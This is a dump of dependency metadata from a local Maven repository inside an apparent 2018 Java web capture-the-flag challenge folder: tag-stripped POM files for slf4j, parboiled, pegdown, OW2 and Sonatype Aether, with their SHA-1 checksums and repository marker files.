OW2 Consortium is an open source community committed to making available to everyone the best and most reliable middleware technology, including generic enterprise applications and cloud computing technologies. The mission of the OW2 Consortium is to i) develop open source code for middleware, generic enterprise applications and cloud computing and ii) to foster a vibrant community and business ecosystem. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo OW2 Consortium http://www.ow2.org http://www.ow2.org sauthieg Guillaume Sauthier guillaume.sauthier@ow2.org http://www.ow2.org/xwiki/bin/download/NewsEvents/MarketingResources/ow2_logo_small_transp.png UTF-8 http://repository.ow2.org/nexus/content/repositories/snapshots http://repository.ow2.org/nexus/service/local/staging/deploy/maven2 scm:git:git@gitorious.ow2.org:ow2/pom.git scm:git:git@gitorious.ow2.org:ow2/pom.git http://gitorious.ow2.org/ow2/pom ow2.release OW2 Maven Releases Repository http://repository.ow2.org/nexus/service/local/staging/deploy/maven2 ow2.snapshot OW2 Maven Snapshots Repository ${ow2DistMgmtSnapshotsUrl} ow2-plugin-snapshot OW2 Snapshot Plugin Repository http://repository.ow2.org/nexus/content/repositories/snapshots false ow2-snapshot OW2 Snapshot Repository http://repository.ow2.org/nexus/content/repositories/snapshots false org.apache.maven.plugins maven-enforcer-plugin 1.0-beta-1 enforce-maven enforce (,2.1.0),(2.1.0,2.2.0),(2.2.0,) Maven 2.1.0 and 2.2.0 produce incorrect GPG signatures and checksums respectively. org.apache.maven.plugins maven-release-plugin 2.1 forked-path false -Pow2-release ow2-release org.apache.maven.plugins maven-source-plugin 2.1.2 attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin 2.7 attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin 1.1 sign-artifacts verify sign ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/ow2/1.3/ow2-1.3.pom.sha1 ================================================ f679d6639bfb209b0836a5e7cf09bfbcc1a41f06 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-core/1.1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 parboiled-core-1.1.4.jar>central= parboiled-core-1.1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-core/1.1.4/parboiled-core-1.1.4.jar.sha1 ================================================ dffdc483d52209c5bd7c7f665f985f6368bc3da7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-core/1.1.4/parboiled-core-1.1.4.pom ================================================ 4.0.0 org.parboiled parboiled-core jar Elegant parsing in Java and Scala - lightweight, easy-to-use, powerful http://parboiled.org 1.1.4 Apache 2 http://www.apache.org/licenses/LICENSE-2.0.txt repo parboiled-core 2009 org.parboiled http://parboiled.org git@github.com:sirthias/parboiled.git scm:git:git@github.com:sirthias/parboiled.git sirthias Mathias Doenitz org.testng testng 5.14.1 test org.scalatest scalatest_2.10.0-RC3 1.8-B1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-core/1.1.4/parboiled-core-1.1.4.pom.sha1 ================================================ 62965822c34fe24b815e2ee75a5af58fc4e8b8a6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-java/1.1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 parboiled-java-1.1.4.jar>central= parboiled-java-1.1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-java/1.1.4/parboiled-java-1.1.4.jar.sha1 ================================================ e59a880c51b753d7d25505560cbe256dd8b2c831 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-java/1.1.4/parboiled-java-1.1.4.pom ================================================ 4.0.0 org.parboiled parboiled-java jar Elegant parsing in Java and Scala - lightweight, easy-to-use, powerful http://parboiled.org 1.1.4 Apache 2 http://www.apache.org/licenses/LICENSE-2.0.txt repo parboiled-java 2009 org.parboiled http://parboiled.org git@github.com:sirthias/parboiled.git scm:git:git@github.com:sirthias/parboiled.git sirthias Mathias Doenitz org.parboiled parboiled-core 1.1.4 org.testng testng 5.14.1 test org.scalatest scalatest_2.10.0-RC3 1.8-B1 test org.ow2.asm asm 4.1 org.ow2.asm asm-tree 4.1 org.ow2.asm asm-analysis 4.1 org.ow2.asm asm-util 4.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-java/1.1.4/parboiled-java-1.1.4.pom.sha1 ================================================ 182e4b91de08e5db85466f891026b2a466010f54 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/pegdown/pegdown/1.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 pegdown-1.2.1.jar>central= pegdown-1.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/pegdown/pegdown/1.2.1/pegdown-1.2.1.jar.sha1 ================================================ 47689e060d90f90431b5ab2df911452b93930d8c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/pegdown/pegdown/1.2.1/pegdown-1.2.1.pom ================================================ 4.0.0 org.pegdown pegdown jar A Java 1.5+ library providing a clean and lightweight markdown processor http://pegdown.org 1.2.1 Apache 2 http://www.apache.org/licenses/LICENSE-2.0.txt repo pegdown 2009 org.pegdown http://pegdown.org git@github.com:sirthias/pegdown.git scm:git:git@github.com:sirthias/pegdown.git sirthias Mathias Doenitz org.parboiled parboiled-java 1.1.4 net.sf.jtidy jtidy r938 test org.specs2 specs2_2.9.2 1.12.2 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/pegdown/pegdown/1.2.1/pegdown-1.2.1.pom.sha1 ================================================ 5ada4f90b1651ae7b89766df379740215570fec7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/jcl-over-slf4j/1.5.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 jcl-over-slf4j-1.5.6.jar>central= jcl-over-slf4j-1.5.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.jar.sha1 ================================================ 629680940b7dcb02c3904deb85992b462c42e272 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.pom ================================================ org.slf4j slf4j-parent 1.5.6 4.0.0 org.slf4j jcl-over-slf4j jar JCL 1.1.1 implemented over SLF4J http://www.slf4j.org JCL 1.1.1 implementation over SLF4J org.slf4j slf4j-nop ${project.version} provided org.apache.maven.plugins maven-jar-plugin ${project.version} ${project.description} ${project.version} ${project.build.outputDirectory}/META-INF/MANIFEST.MF ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.pom.sha1 ================================================ 8aa25adef55174f1436073e551953c2f74a5c71b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.5.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 slf4j-api-1.5.6.jar>central= slf4j-api-1.5.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.jar.sha1 ================================================ ec9b7142625dfa1dcaf22db99ecb7c555ffa714d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.pom ================================================ org.slf4j slf4j-parent 1.5.6 4.0.0 org.slf4j slf4j-api jar SLF4J API Module http://www.slf4j.org The slf4j API org.apache.maven.plugins maven-surefire-plugin once plain false **/AllTest.java **/PackageTest.java org.apache.maven.plugins maven-jar-plugin ${project.version} ${project.description} ${project.version} ${project.build.outputDirectory}/META-INF/MANIFEST.MF bundle-test-jar package jar test-jar org.apache.maven.plugins maven-antrun-plugin process-classes run Removing slf4j-api's dummy StaticLoggerBinder and StaticMarkerBinder org.codehaus.mojo clirr-maven-plugin 1.5.3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.pom.sha1 ================================================ b79729ffc12292c0ec755db12360486066f6fd34 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.6.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 slf4j-api-1.6.4.jar>central= slf4j-api-1.6.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.6.4/slf4j-api-1.6.4.jar.sha1 ================================================ 2396d74b12b905f780ed7966738bb78438e8371a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.6.4/slf4j-api-1.6.4.pom ================================================ org.slf4j slf4j-parent 1.6.4 4.0.0 org.slf4j slf4j-api jar SLF4J API Module http://www.slf4j.org The slf4j API org.apache.maven.plugins maven-surefire-plugin once plain false **/AllTest.java **/PackageTest.java org.apache.maven.plugins maven-jar-plugin ${parsedVersion.osgiVersion} ${project.description} ${project.version} ${project.build.outputDirectory}/META-INF/MANIFEST.MF bundle-test-jar package jar test-jar org.apache.maven.plugins maven-antrun-plugin process-classes run Removing slf4j-api's dummy StaticLoggerBinder and StaticMarkerBinder ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.6.4/slf4j-api-1.6.4.pom.sha1 ================================================ 93c66c9afd6cf7b91bd4ecf38a60ca48fc5f2078 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.7.25/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 slf4j-api-1.7.25.jar>central= slf4j-api-1.7.25.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.7.25/slf4j-api-1.7.25.jar.sha1 ================================================ da76ca59f6a57ee3102f8f9bd9cee742973efa8a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.7.25/slf4j-api-1.7.25.pom ================================================ 4.0.0 org.slf4j slf4j-parent 1.7.25 slf4j-api jar SLF4J API Module The slf4j API http://www.slf4j.org org.codehaus.mojo animal-sniffer-maven-plugin org.slf4j.impl.StaticMDCBinder org.slf4j.impl.StaticLoggerBinder org.slf4j.impl.StaticMarkerBinder org.apache.maven.plugins maven-surefire-plugin once plain false **/AllTest.java **/PackageTest.java org.apache.maven.plugins maven-jar-plugin bundle-test-jar package jar test-jar org.apache.maven.plugins maven-antrun-plugin process-classes run Removing slf4j-api's dummy StaticLoggerBinder and StaticMarkerBinder org.eclipse.m2e lifecycle-mapping 1.0.0 org.apache.maven.plugins maven-antrun-plugin [1.3,) run ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.7.25/slf4j-api-1.7.25.pom.sha1 ================================================ df51c4a85dd6acf8b6cdc9323596766b3d577c28 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-jdk14/1.5.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 slf4j-jdk14-1.5.6.jar>central= slf4j-jdk14-1.5.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.jar.sha1 ================================================ cc383fbd07dd1826bbcba1b907bbdc0b5be627f1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.pom ================================================ org.slf4j slf4j-parent 1.5.6 4.0.0 org.slf4j slf4j-jdk14 jar SLF4J JDK14 Binding http://www.slf4j.org The slf4j JDK14 binding org.slf4j slf4j-api org.slf4j slf4j-api test-jar ${project.version} test org.apache.maven.plugins maven-compiler-plugin 1.4 1.4 org.apache.maven.plugins maven-jar-plugin ${project.version} ${project.description} ${project.version} ${project.build.outputDirectory}/META-INF/MANIFEST.MF ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.pom.sha1 ================================================ cbc0f6b542435be20eba2fc698cf209e606ec1b4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.5.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:40 CST 2018 slf4j-parent-1.5.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.5.6/slf4j-parent-1.5.6.pom ================================================ 4.0.0 org.slf4j slf4j-parent 1.5.6 pom SLF4J http://www.slf4j.org QOS.ch http://www.qos.ch 2005 slf4j-api slf4j-simple slf4j-nop slf4j-jdk14 slf4j-log4j12 slf4j-jcl slf4j-ext jcl-over-slf4j jcl104-over-slf4j log4j-over-slf4j jul-to-slf4j integration slf4j-site slf4j-migrator junit junit 3.8.1 test org.slf4j slf4j-api ${project.version} log4j log4j 1.2.14 src/main/resources true org.apache.maven.plugins maven-compiler-plugin 1.3 1.3 org.apache.maven.plugins maven-surefire-plugin once plain false **/AllTest.java **/PackageTest.java org.apache.maven.plugins maven-source-plugin package jar org.apache.maven.plugins maven-javadoc-plugin true org.slf4j.migrator:org.slf4j.migrator.* http://java.sun.com/j2se/1.5.0/docs/api SLF4J packages org.slf4j:org.slf4j.* SLF4J extensions org.slf4j.profiler:org.slf4j.ext:org.slf4j.instrumentation:org.slf4j.agent Jakarta Commons Logging packages org.apache.commons.* Apache log4j org.apache.log4j java.util.logging (JUL) to SLF4J bridge org.slf4j.bridge skipTests true osgi osgi-over-slf4j slf4j-osgi-test-bundle slf4j-osgi-integration-test m2apache.snapshots http://people.apache.org/repo/m2-snapshot-repository false true springframework.org Springframework Maven SNAPSHOT Repository http://static.springframework.org/maven2-snapshots/ true apache.snapshots Apache Snapshot Plugin Repository http://people.apache.org/repo/m2-snapshot-repository false true apache.snapshots Apache Snapshot Plugin Repository http://people.apache.org/repo/m2-snapshot-repository false true org.apache.maven.plugins maven-site-plugin org.apache.maven.plugins maven-project-info-reports-plugin maven-assembly-plugin 2.1 src/main/assembly/source.xml slf4j-${project.version} false target/site/dist/ org.apache.maven.plugins maven-jxr-plugin jxr test-jxr true target/site/api/ true scm:svn:http://svn.slf4j.org/repos/slf4j/trunk scm:svn:https://svn.slf4j.org/repos/slf4j/trunk http://svn.slf4j.org/viewvc/slf4j/trunk/ pixie scp://pixie/var/www/www.slf4j.org/htdocs/ pixie scp://pixie/var/mvnrepo/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.5.6/slf4j-parent-1.5.6.pom.sha1 ================================================ 7e94cd535680417391d54c1b1a14bcf9ed29a400 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.6.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:37 CST 2018 slf4j-parent-1.6.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.6.4/slf4j-parent-1.6.4.pom ================================================ 4.0.0 org.slf4j slf4j-parent 1.6.4 pom SLF4J http://www.slf4j.org QOS.ch http://www.qos.ch 2005 MIT License http://www.opensource.org/licenses/mit-license.php repo 1.6.0 0.7.4 1.2.16 slf4j-api slf4j-simple slf4j-nop slf4j-jdk14 slf4j-log4j12 slf4j-jcl slf4j-ext jcl-over-slf4j log4j-over-slf4j jul-to-slf4j integration slf4j-site slf4j-migrator junit junit 3.8.1 test org.slf4j slf4j-api ${project.version} org.slf4j slf4j-jdk14 ${project.version} log4j log4j ${log4j.version} ch.qos.cal10n cal10n-api ${cal10n.version} org.apache.maven.wagon wagon-ssh 2.0 src/main/resources true org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.3 1.3 org.apache.maven.plugins maven-jar-plugin 2.3.1 org.apache.maven.plugins maven-surefire-plugin 2.10 once plain false **/AllTest.java **/PackageTest.java org.apache.maven.plugins maven-source-plugin 2.1.2 package jar org.apache.maven.plugins maven-assembly-plugin 2.2 src/main/assembly/source.xml slf4j-${project.version} false target/site/dist/ org.codehaus.mojo build-helper-maven-plugin 1.7 parse-version parse-version org.apache.maven.plugins maven-site-plugin 3.0 org.apache.maven.plugins maven-jxr-plugin 2.3 true target/site/apidocs/ true org.apache.maven.plugins maven-javadoc-plugin 2.8 true org.slf4j.migrator:org.slf4j.migrator.* http://java.sun.com/j2se/1.5.0/docs/api SLF4J packages org.slf4j:org.slf4j.* SLF4J extensions org.slf4j.profiler:org.slf4j.ext:org.slf4j.instrumentation:org.slf4j.agent Jakarta Commons Logging packages org.apache.commons.* Apache log4j org.apache.log4j java.util.logging (JUL) to SLF4J bridge org.slf4j.bridge skipTests true osgi osgi-over-slf4j slf4j-osgi-test-bundle slf4j-osgi-integration-test m2apache.snapshots http://people.apache.org/repo/m2-snapshot-repository false true springframework.org Springframework Maven SNAPSHOT Repository http://static.springframework.org/maven2-snapshots/ true apache.snapshots Apache Snapshot Plugin Repository http://people.apache.org/repo/m2-snapshot-repository false true javadocjar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar license com.google.code.maven-license-plugin maven-license-plugin
      src/main/licenseHeader.txt
      false true true src/**/*.java true true 1999 src/main/javadocHeaders.xml
      mc-release Local Maven repository of releases http://mc-repo.googlecode.com/svn/maven2/releases false true
      apache.snapshots Apache Snapshot Plugin Repository http://people.apache.org/repo/m2-snapshot-repository false true scm:svn:http://svn.slf4j.org/repos/slf4j/trunk scm:svn:https://svn.slf4j.org/repos/slf4j/trunk http://svn.slf4j.org/viewvc/slf4j/trunk/ pixie scp://pixie.qos.ch/var/www/www.slf4j.org/htdocs/ pixie scp://pixie.qos.ch/var/mvnrepo/
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.6.4/slf4j-parent-1.6.4.pom.sha1 ================================================ 50c385c4c80416a4159ff9977d576cbac9e27217 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.7.25/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:46 CST 2018 slf4j-parent-1.7.25.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.7.25/slf4j-parent-1.7.25.pom ================================================ 4.0.0 org.slf4j slf4j-parent 1.7.25 pom SLF4J Top SLF4J project pom.xml file http://www.slf4j.org QOS.ch http://www.qos.ch 2005 MIT License http://www.opensource.org/licenses/mit-license.php repo https://github.com/qos-ch/slf4j git@github.com:qos-ch/slf4j.git 1.5 ${required.jdk.version} ${required.jdk.version} UTF-8 UTF-8 UTF-8 1.6.0 0.8.1 1.2.17 1.0.13 4.12 3.3 2.10.4 ceki Ceki Gulcu ceki@qos.ch slf4j-api slf4j-simple slf4j-nop slf4j-jdk14 slf4j-log4j12 slf4j-jcl slf4j-android slf4j-ext jcl-over-slf4j log4j-over-slf4j jul-to-slf4j osgi-over-slf4j integration slf4j-site slf4j-migrator junit junit ${junit.version} test org.slf4j slf4j-api ${project.version} org.slf4j slf4j-jdk14 ${project.version} log4j log4j ${log4j.version} ch.qos.cal10n cal10n-api ${cal10n.version} org.apache.maven.wagon wagon-ssh 2.0 ${project.basedir}/src/main/resources true org.codehaus.mojo animal-sniffer-maven-plugin 1.14 org.codehaus.mojo.signature java15 1.0 org.apache.maven.plugins maven-compiler-plugin 3.3 ${required.jdk.version} ${required.jdk.version} org.apache.maven.plugins maven-jar-plugin 2.3.1 ${parsedVersion.osgiVersion} ${project.description} ${maven.compiler.source} ${maven.compiler.target} ${project.version} ${project.build.outputDirectory}/META-INF/MANIFEST.MF true org.apache.maven.plugins maven-surefire-plugin 2.19.1 2C true plain false **/AllTest.java **/PackageTest.java org.apache.maven.plugins maven-source-plugin 2.1.2 package jar org.apache.maven.plugins maven-assembly-plugin 2.2 src/main/assembly/source.xml slf4j-${project.version} false target/site/dist/ org.codehaus.mojo build-helper-maven-plugin 1.7 parse-version parse-version org.apache.maven.plugins maven-site-plugin ${maven-site-plugin.version} org.apache.maven.plugins maven-jxr-plugin 2.3 true target/site/apidocs/ true org.apache.maven.plugins maven-javadoc-plugin ${javadoc.plugin.version} true org.slf4j.migrator:org.slf4j.migrator.* http://java.sun.com/j2se/1.5.0/docs/api SLF4J packages org.slf4j:org.slf4j.* SLF4J extensions org.slf4j.cal10n:org.slf4j.profiler:org.slf4j.ext:org.slf4j.instrumentation:org.slf4j.agent Jakarta Commons Logging packages org.apache.commons.* java.util.logging (JUL) to SLF4J bridge org.slf4j.bridge Apache log4j org.apache.log4j:org.apache.log4j.* skipTests true javadocjar org.apache.maven.plugins maven-javadoc-plugin ${javadoc.plugin.version} attach-javadocs jar license com.google.code.maven-license-plugin maven-license-plugin
      src/main/licenseHeader.txt
      false true true src/**/*.java true true 1999 src/main/javadocHeaders.xml
      mc-release Local Maven repository of releases http://mc-repo.googlecode.com/svn/maven2/releases false true
      sign-artifacts org.apache.maven.plugins maven-gpg-plugin 1.1 sign-artifacts verify sign
      qos_ch scp://te.qos.ch/var/www/www.slf4j.org/htdocs/ sonatype-nexus-staging https://oss.sonatype.org/service/local/staging/deploy/maven2/
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.7.25/slf4j-parent-1.7.25.pom.sha1 ================================================ 8521938f0f43c60b79f9f73a9409d10e4bac649a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-api/1.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 aether-api-1.7.jar>central= aether-api-1.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-api/1.7/aether-api-1.7.jar.sha1 ================================================ 0c491a637ee6795143b6708ce5f112e6a9f548f4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-api/1.7/aether-api-1.7.pom ================================================ 4.0.0 org.sonatype.aether aether-parent 1.7 aether-api Aether :: API The application programming interface for the repository system. junit junit test org.codehaus.mojo animal-sniffer-maven-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-api/1.7/aether-api-1.7.pom.sha1 ================================================ 07d9331c480f8028c0f009f4b332ff5b18230003 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-impl/1.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 aether-impl-1.7.jar>central= aether-impl-1.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.jar.sha1 ================================================ 5cc1803eb7126f759d34007b74e6dc44e9a9fb08 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.pom ================================================ 4.0.0 org.sonatype.aether aether-parent 1.7 aether-impl Aether :: Implementation An implementation of the repository system. org.sonatype.aether aether-api ${project.version} org.sonatype.aether aether-spi ${project.version} org.sonatype.aether aether-util ${project.version} org.codehaus.plexus plexus-component-annotations 1.5.5 provided org.codehaus.plexus plexus-container-default 1.5.5 provided org.codehaus.plexus plexus-classworlds org.apache.xbean xbean-reflect com.google.collections google-collections org.slf4j slf4j-api 1.6.1 provided junit junit test org.sonatype.aether aether-test-util ${project.version} test org.codehaus.mojo animal-sniffer-maven-plugin org.codehaus.plexus plexus-component-metadata ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-impl/1.7/aether-impl-1.7.pom.sha1 ================================================ 1f6352a67ee0e08fa1cac00e982cdc305d10ce67 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-parent/1.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:25 CST 2018 aether-parent-1.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-parent/1.7/aether-parent-1.7.pom ================================================ 4.0.0 org.sonatype.forge forge-parent 6 org.sonatype.aether aether-parent 1.7 pom Aether The parent and aggregator for the repository system. http://aether.sonatype.org/ 2010 Sonatype, Inc. http://www.sonatype.com Aether Developers List aether-dev-subscribe@sonatype.org aether-dev-unsubscribe@sonatype.org aether-dev@sonatype.org Aether Users List aether-user-subscribe@sonatype.org aether-user-unsubscribe@sonatype.org aether-user@sonatype.org Aether Commits List aether-scm-subscribe@sonatype.org aether-scm-unsubscribe@sonatype.org scm:git:git@github.com:sonatype/sonatype-aether.git scm:git:git@github.com:sonatype/sonatype-aether.git git@github.com:sonatype/sonatype-aether.git jira https://issues.sonatype.org/browse/AETHER Hudson https://grid.sonatype.org/ci/job/Aether/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo aether-api aether-spi aether-util aether-impl aether-test-util aether-connector-file aether-connector-wagon UTF-8 https://repository.sonatype.org/service/local/staging/deploy/maven2 junit junit 4.8.1 test maven-assembly-plugin 2.2-beta-5 org.apache.maven.plugins maven-compiler-plugin 2.1 1.5 1.5 maven-gpg-plugin 1.1 org.apache.maven.plugins maven-javadoc-plugin 2.5 http://java.sun.com/javase/6/docs/api/ maven-release-plugin 2.0 true org.codehaus.mojo animal-sniffer-maven-plugin 1.6 org.codehaus.mojo.signature java15 1.0 check-java-1.5-compat process-classes check org.codehaus.plexus plexus-component-metadata 1.5.5 generate-components-xml generate-metadata demo aether-demo release org.apache.maven.plugins maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.2 attach-source-release-distro package single true source-release gnu ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-parent/1.7/aether-parent-1.7.pom.sha1 ================================================ 9272ca55ba8e2a1f03addfd1b698511d5122c646 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-spi/1.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 aether-spi-1.7.jar>central= aether-spi-1.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.jar.sha1 ================================================ 1ea472b28d9d891d353c0311593f5e2a0e73d4be ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.pom ================================================ 4.0.0 org.sonatype.aether aether-parent 1.7 aether-spi Aether :: SPI The service provider interface for repository system implementations and repository connectors. org.sonatype.aether aether-api ${project.version} org.codehaus.mojo animal-sniffer-maven-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-spi/1.7/aether-spi-1.7.pom.sha1 ================================================ 0fdd424fc1f7acd9268c0ceb07fd7aceedb1019f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-util/1.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 aether-util-1.7.jar>central= aether-util-1.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-util/1.7/aether-util-1.7.jar.sha1 ================================================ 38485c9c086c3c867c2dd5371909337bd056c492 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-util/1.7/aether-util-1.7.pom ================================================ 4.0.0 org.sonatype.aether aether-parent 1.7 aether-util Aether :: Utilities A collection of utility classes to ease usage of the repository system. org.sonatype.aether aether-api ${project.version} junit junit test org.sonatype.aether aether-test-util ${project.version} test org.codehaus.mojo animal-sniffer-maven-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/aether/aether-util/1.7/aether-util-1.7.pom.sha1 ================================================ 3bd750dbf22b2effa411117b7230694cc4095f3f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:00 CST 2018 forge-parent-10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/sonatype/forge/forge-parent/10/forge-parent-10.pom ================================================ 4.0.0 org.sonatype.forge forge-parent pom 10 Sonatype Forge Parent Pom 2008 http://forge.sonatype.com/ Sonatype, Inc. http://www.sonatype.com/ scm:svn:http://svn.sonatype.org/forge/tags/forge-parent-10 http://svn.sonatype.org/forge/tags/forge-parent-10 